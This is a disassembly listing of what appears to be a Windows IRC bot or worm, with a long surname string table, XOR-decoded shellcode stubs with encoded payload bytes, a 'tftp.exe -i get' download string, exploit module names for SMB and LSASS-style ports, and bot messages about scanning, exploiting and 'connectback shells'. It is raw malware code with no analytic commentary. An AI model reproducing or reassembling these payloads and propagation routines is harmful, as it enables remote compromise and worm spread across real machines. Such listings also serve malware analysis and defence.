aCapocaccia	db 'Capocaccia',0       ; DATA XREF: nsp0:0042FD40o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: nsp0:0042FD3Co
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: nsp0:0042FD38o
aCanley		db 'Canley',0           ; DATA XREF: nsp0:0042FD34o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: nsp0:0042FD30o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: nsp0:0042FD2Co
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: nsp0:0042FD28o
		align 4
aCage		db 'Cage',0             ; DATA XREF: nsp0:0042FD24o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: nsp0:0042FD20o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: nsp0:0042FD1Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: nsp0:0042FD18o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: nsp0:0042FD14o
aBurridge	db 'Burridge',0         ; DATA XREF: nsp0:0042FD10o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: nsp0:0042FD0Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: nsp0:0042FD08o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: nsp0:0042FD04o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: nsp0:0042FD00o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: nsp0:0042FCFCo
aBudding	db 'Budding',0          ; DATA XREF: nsp0:0042FCF8o
aBuchan		db 'Buchan',0           ; DATA XREF: nsp0:0042FCF4o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: nsp0:0042FCF0o
aBrook		db 'Brook',0            ; DATA XREF: nsp0:0042FCECo
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: nsp0:0042FCE8o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: nsp0:0042FCE4o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: nsp0:0042FCE0o
aBridges	db 'Bridges',0          ; DATA XREF: nsp0:0042FCDCo
aBridgeman	db 'Bridgeman',0        ; DATA XREF: nsp0:0042FCD8o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: nsp0:0042FCD0o
					; nsp0:0042FCD4o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: nsp0:0042FCCCo
aBrenan		db 'Brenan',0           ; DATA XREF: nsp0:0042FCC8o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: nsp0:0042FCC4o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: nsp0:0042FCC0o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: nsp0:0042FCBCo
aBradac		db 'Bradac',0           ; DATA XREF: nsp0:0042FCB8o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: nsp0:0042FCB4o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: nsp0:0042FCB0o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: nsp0:0042FCACo
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: nsp0:0042FCA8o
aBoyes		db 'Boyes',0            ; DATA XREF: nsp0:0042FCA4o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: nsp0:0042FCA0o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: nsp0:0042FC9Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: nsp0:0042FC98o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: nsp0:0042FC94o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: nsp0:0042FC90o
aBoudin		db 'Boudin',0           ; DATA XREF: nsp0:0042FC8Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: nsp0:0042FC88o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: nsp0:0042FC84o
aBossi		db 'Bossi',0            ; DATA XREF: nsp0:0042FC80o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: nsp0:0042FC7Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: nsp0:0042FC78o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: nsp0:0042FC74o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: nsp0:0042FC70o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: nsp0:0042FC6Co
		align 10h
aBook_0		db 'Book',0             ; DATA XREF: nsp0:0042FC68o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: nsp0:0042FC64o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: nsp0:0042FC60o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: nsp0:0042FC5Co
		align 4
aBoner_0	db 'Boner',0            ; DATA XREF: nsp0:0042FC58o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: nsp0:0042FC54o
aBollinger	db 'Bollinger',0        ; DATA XREF: nsp0:0042FC50o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: nsp0:0042FC4Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: nsp0:0042FC48o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: nsp0:0042FC44o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: nsp0:0042FC40o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: nsp0:0042FC3Co
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: nsp0:0042FC38o
aBloch		db 'Bloch',0            ; DATA XREF: nsp0:0042FC34o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: nsp0:0042FC30o
aBliss		db 'Bliss',0            ; DATA XREF: nsp0:0042FC2Co
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: nsp0:0042FC28o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: nsp0:0042FC24o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: nsp0:0042FC20o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: nsp0:0042FC1Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: nsp0:0042FC18o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: nsp0:0042FC14o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: nsp0:0042FC10o
		align 4
aBir		db 'Bir',0              ; DATA XREF: nsp0:0042FC0Co
aBinion		db 'Binion',0           ; DATA XREF: nsp0:0042FC08o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: nsp0:0042FC04o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: nsp0:0042FC00o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: nsp0:0042FBFCo
aBetti		db 'Betti',0            ; DATA XREF: nsp0:0042FBF8o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: nsp0:0042FBF4o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: nsp0:0042FBF0o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: nsp0:0042FBECo
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: nsp0:0042FBE8o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: nsp0:0042FBE4o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: nsp0:0042FBE0o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: nsp0:0042FBDCo
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: nsp0:0042FBD8o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: nsp0:0042FBD4o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: nsp0:0042FBD0o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: nsp0:0042FBCCo
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: nsp0:0042FBC8o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: nsp0:0042FBC4o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: nsp0:0042FBC0o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: nsp0:0042FBBCo
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: nsp0:0042FBB8o
aBedford	db 'Bedford',0          ; DATA XREF: nsp0:0042FBB4o
aBeder		db 'Beder',0            ; DATA XREF: nsp0:0042FBB0o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: nsp0:0042FBACo
aBean		db 'Bean',0             ; DATA XREF: nsp0:0042FBA8o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: nsp0:0042FBA4o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: nsp0:0042FBA0o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: nsp0:0042FB9Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: nsp0:0042FB98o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: nsp0:0042FB94o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: nsp0:0042FB90o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: nsp0:0042FB8Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: nsp0:0042FB88o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: nsp0:0042FB84o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: nsp0:0042FB80o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: nsp0:0042FB7Co
aBarry		db 'Barry',0            ; DATA XREF: nsp0:0042FB78o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: nsp0:0042FB74o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: nsp0:0042FB70o
aBarneson	db 'Barneson',0         ; DATA XREF: nsp0:0042FB6Co
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: nsp0:0042FB68o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: nsp0:0042FB64o
aBaranowska	db 'Baranowska',0       ; DATA XREF: nsp0:0042FB60o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: nsp0:0042FB5Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: nsp0:0042FB58o
aBarabesi	db 'Barabesi',0         ; DATA XREF: nsp0:0042FB54o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: nsp0:0042FB50o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: nsp0:0042FB4Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: nsp0:0042FB48o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: nsp0:0042FB44o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: nsp0:0042FB40o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: nsp0:0042FB3Co
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: nsp0:0042FB38o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: nsp0:0042FB34o
aBaglivo	db 'Baglivo',0          ; DATA XREF: nsp0:0042FB30o
aBady		db 'Bady',0             ; DATA XREF: nsp0:0042FB2Co
		align 4
aBackus		db 'Backus',0           ; DATA XREF: nsp0:0042FB28o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: nsp0:0042FB24o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: nsp0:0042FB20o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: nsp0:0042FB1Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: nsp0:0042FB18o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: nsp0:0042FB14o
aAxworthy	db 'Axworthy',0         ; DATA XREF: nsp0:0042FB10o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: nsp0:0042FB0Co
aAurelius	db 'Aurelius',0         ; DATA XREF: nsp0:0042FB08o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: nsp0:0042FB04o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: nsp0:0042FB00o
		align 4
aArky		db 'Arky',0             ; DATA XREF: nsp0:0042FAFCo
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: nsp0:0042FAF8o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: nsp0:0042FAF4o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: nsp0:0042FAF0o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: nsp0:0042FAECo
aArbia		db 'Arbia',0            ; DATA XREF: nsp0:0042FAE8o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: nsp0:0042FAE4o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: nsp0:0042FAE0o
aAnsley		db 'Ansley',0           ; DATA XREF: nsp0:0042FADCo
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: nsp0:0042FAD8o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: nsp0:0042FAD4o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: nsp0:0042FAD0o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: nsp0:0042FACCo
		align 4
aAndel		db 'Andel',0            ; DATA XREF: nsp0:0042FAC8o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: nsp0:0042FAC4o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: nsp0:0042FAC0o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: nsp0:0042FABCo
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: nsp0:0042FAB8o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: nsp0:0042FAB4o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: nsp0:0042FAB0o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: nsp0:0042FAACo
aAltavilla	db 'Altavilla',0        ; DATA XREF: nsp0:0042FAA8o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: nsp0:0042FAA4o
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: nsp0:0042FAA0o
aAleks		db 'Aleks',0            ; DATA XREF: nsp0:0042FA9Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: nsp0:0042FA98o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: nsp0:0042FA94o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: nsp0:0042FA90o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: nsp0:0042FA8Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: nsp0:0042FA88o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: nsp0:0042FA84o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: nsp0:0042FA80o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: nsp0:off_42FA7Co
aAdams		db 'Adams',0            ; DATA XREF: nsp0:0042FA78o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: nsp0:0042FA74o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: nsp0:off_42FA70o
		align 4
byte_4336C8	db 50h			; DATA XREF: nsp0:00409EFCo
					; nsp0:00409F09r
		db 43h,	2 dup(0)
dword_4336CC	dd 7C7325h		; DATA XREF: nsp0:00409FA7o
dword_4336D0	dd 5D73255Bh, 7Ch	; DATA XREF: nsp0:0040A0B1o
dword_4336D8	dd 3F3F3Fh		; DATA XREF: nsp0:loc_40A0A8o
					; sub_417368:loc_41742Bo
dword_4336DC	dd 334B32h		; DATA XREF: nsp0:0040A0A1o
dword_4336E0	dd 4B32h		; DATA XREF: nsp0:0040A083o
					; sub_417368+98o
dword_4336E4	dd 454Dh		; DATA XREF: nsp0:0040A06Ao
					; sub_417368+7Eo
dword_4336E8	dd 3839h		; DATA XREF: nsp0:0040A05Ao
					; sub_417368+6Co
dword_4336EC	dd 544Eh		; DATA XREF: nsp0:0040A04Ao
					; sub_417368+5Ao
dword_4336F0	dd 3539h		; DATA XREF: nsp0:0040A03Co
					; sub_417368+46o
dword_4336F4	dd 5D64255Bh, 7325h	; DATA XREF: sub_40A0F7+3Ao
dword_4336FC	dd 5D4D5Bh		; DATA XREF: sub_40A0F7+2Co
					; sub_40A0F7+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40A0F7+18o
					; sub_4152E6+5o
		align 4
		jmp	short loc_43370C
; ---------------------------------------------------------------------------


loc_43370A:				; CODE XREF: nsp0:loc_43370Cp
		jmp	short loc_433711
; ---------------------------------------------------------------------------


loc_43370C:				; CODE XREF: nsp0:00433708j
		call	loc_43370A


loc_433711:				; CODE XREF: nsp0:loc_43370Aj
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_433718:				; CODE XREF: nsp0:0043371Dj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_433718
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_43372E:				; CODE XREF: nsp0:00433733j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_43372E
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_4337D0
		jnz	short loc_4337BC
		retn
; ---------------------------------------------------------------------------


loc_4337BC:				; CODE XREF: nsp0:004337B9j
					; nsp0:004337C9j
		call	near ptr loc_4337C1+1


loc_4337C1:				; CODE XREF: nsp0:loc_4337BCp
		add	[edx+0], ch
		call	sub_4337D0
		jz	loc_4337BC
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4337D0	proc near		; CODE XREF: nsp0:004337B4p
					; nsp0:004337C4p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_4337D0	endp

; ---------------------------------------------------------------------------
		align 4
dword_4337FC	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40A2C0+10o
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40A491+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40A491+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40B229+164o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40A8E4+30o
		align 4
		dd 5 dup(0)
dword_433878	dd 0B97h		; DATA XREF: sub_401AC7+18F6r
					; sub_401AC7+191Fo ...
off_43387C	dd offset sub_40D1DA	; DATA XREF: sub_40B229+1E6r
dword_433880	dd 0			; DATA XREF: sub_40A757+2Eo
					; nsp0:0040C5A0w ...
dword_433884	dd 1			; DATA XREF: sub_40ABD2+1Fr
dword_433888	dd 1			; DATA XREF: sub_40ABD2+3B3r
dword_43388C	dd 0			; DATA XREF: sub_40ABD2+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40D310h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40D098h, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40D098h, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40C3DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
; ---------------------------------------------------------------------------
		mov	ebp, 0DA000001h
		retn
; ---------------------------------------------------------------------------
		dw 40h
		dd 0
		dd 2 dup(1), 0
aMsass		db 'msass',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40C3DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aNet445_0	db 'net445',0
		align 4
		db 2 dup(0)
byte_433A5A	db 1			; DATA XREF: sub_401AC7:loc_403336r
					; sub_401AC7+1879o
aMsass_0	db 'msass',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_433A86

; =============== S U B	R O U T	I N E =======================================



sub_433A76	proc near		; CODE XREF: sub_433A76:loc_433A86p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_433A7E:				; CODE XREF: sub_433A76+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_433A7E
		jmp	short loc_433A8B
; ---------------------------------------------------------------------------


loc_433A86:				; CODE XREF: nsp0:00433A74j
		call	sub_433A76


loc_433A8B:				; CODE XREF: sub_433A76+Ej
		jo	short near ptr dword_433A14+12h
		cwde
		cdq
		cdq
		retn
sub_433A76	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40A757+85o
		align 4
dword_433C08	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40A757+46o
unk_433C14	db  2Dh	; -		; DATA XREF: sub_40A757+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_433C34	db  2Dh	; -		; DATA XREF: sub_40A825+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_433C7C	db  2Dh	; -		; DATA XREF: sub_40A890+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40A8E4+7Eo
dword_433CB8	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40A8E4+40o
dword_433CC8	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40A8E4+14o
		dd 7473694Ch, 3Ah
unk_433CE4	db  2Dh	; -		; DATA XREF: sub_40A9AA+16Eo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_433D18	db  2Dh	; -		; DATA XREF: sub_40A9AA+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_433D48	db  2Dh	; -		; DATA XREF: sub_40AB5B+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_433D68	db  2Dh	; -		; DATA XREF: sub_40AB5B+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_433D84	db  2Dh	; -		; DATA XREF: sub_40ABD2+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start server, error: <%d>.',0
		align 4
unk_433DB8	db  2Dh	; -		; DATA XREF: sub_40ABD2+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_26	db '- Failed to start server, error: <%d>.',0
unk_433DF0	db  2Dh	; -		; DATA XREF: sub_40ABD2+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_433E20	db  2Dh	; -		; DATA XREF: sub_40ABD2+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start server, error: <%d>.',0
		align 4
unk_433E54	db  2Dh	; -		; DATA XREF: sub_40ABD2+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_433E88	db  2Dh	; -		; DATA XREF: sub_40ABD2+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_28	db ' Failed to start server, error: <%d>.',0
		align 4
unk_433EBC	db  2Dh	; -		; DATA XREF: sub_40B229+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_433EE4	db  2Dh	; -		; DATA XREF: sub_40B229+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433F1C	db  2Dh	; -		; DATA XREF: sub_40B43D+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_433F5C	db  2Dh	; -		; DATA XREF: sub_40B43D+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_433F94	db  2Dh	; -		; DATA XREF: sub_40B43D+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433FC8	db  2Dh	; -		; DATA XREF: sub_40B43D+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_433FFC	db  2Dh	; -		; DATA XREF: sub_40B69C+92o
		db 3, 34h, 2
		db  73h	; s
